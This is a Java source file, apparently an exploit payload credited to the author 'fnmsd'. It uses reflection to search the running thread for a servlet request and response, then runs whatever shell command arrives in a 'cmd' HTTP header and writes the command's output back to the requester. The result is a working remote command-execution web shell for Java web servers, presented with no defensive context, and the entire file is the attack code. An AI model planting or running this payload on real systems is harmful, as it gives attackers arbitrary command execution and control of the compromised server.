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//Author:fnmsd | |
//Blog:https://blog.csdn.net/fnmsd | |
import javax.servlet.http.HttpServletRequest; | |
import javax.servlet.http.HttpServletResponse; | |
import java.lang.reflect.Field; | |
import java.util.HashSet; | |
import java.util.Scanner; | |
public class a { | |
static HashSet<Object> h; | |
static HttpServletRequest r; | |
static HttpServletResponse p; | |
// static { | |
// r = null; | |
// p = null; | |
// h =new HashSet<Object>(); | |
// F(Thread.currentThread(),0); | |
// } | |
public a(){ | |
r = null; | |
p = null; | |
h =new HashSet<Object>(); | |
F(Thread.currentThread(),0); | |
} | |
private static boolean i(Object obj){ | |
if(obj==null|| h.contains(obj)){ | |
return true; | |
} | |
h.add(obj); | |
return false; | |
} | |
private static void p(Object o, int depth){ | |
if(depth > 52||(r !=null&& p !=null)){ | |
return; | |
} | |
if(!i(o)){ | |
if(r ==null&&HttpServletRequest.class.isAssignableFrom(o.getClass())){ | |
r = (HttpServletRequest)o; | |
if(r.getHeader("cmd")==null) | |
r =null; | |
}else if(p ==null&&HttpServletResponse.class.isAssignableFrom(o.getClass())){ | |
p = (HttpServletResponse) o; | |
} | |
if(r !=null&& p !=null){ | |
try { | |
p.getWriter().println(new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next()); | |
p.getWriter().flush(); | |
}catch (Exception e){ | |
} | |
return; | |
} | |
F(o,depth+1); | |
} | |
} | |
private static void F(Object start, int depth){ | |
Class n=start.getClass(); | |
do{ | |
for (Field declaredField : n.getDeclaredFields()) { | |
declaredField.setAccessible(true); | |
Object o = null; | |
try{ | |
o = declaredField.get(start); | |
if(!o.getClass().isArray()){ | |
p(o,depth); | |
}else{ | |
for (Object q : (Object[]) o) { | |
p(q, depth); | |
} | |
} | |
}catch (Exception e){ | |
} | |
} | |
}while( | |
(n = n.getSuperclass())!=null | |
); | |
} | |
} |
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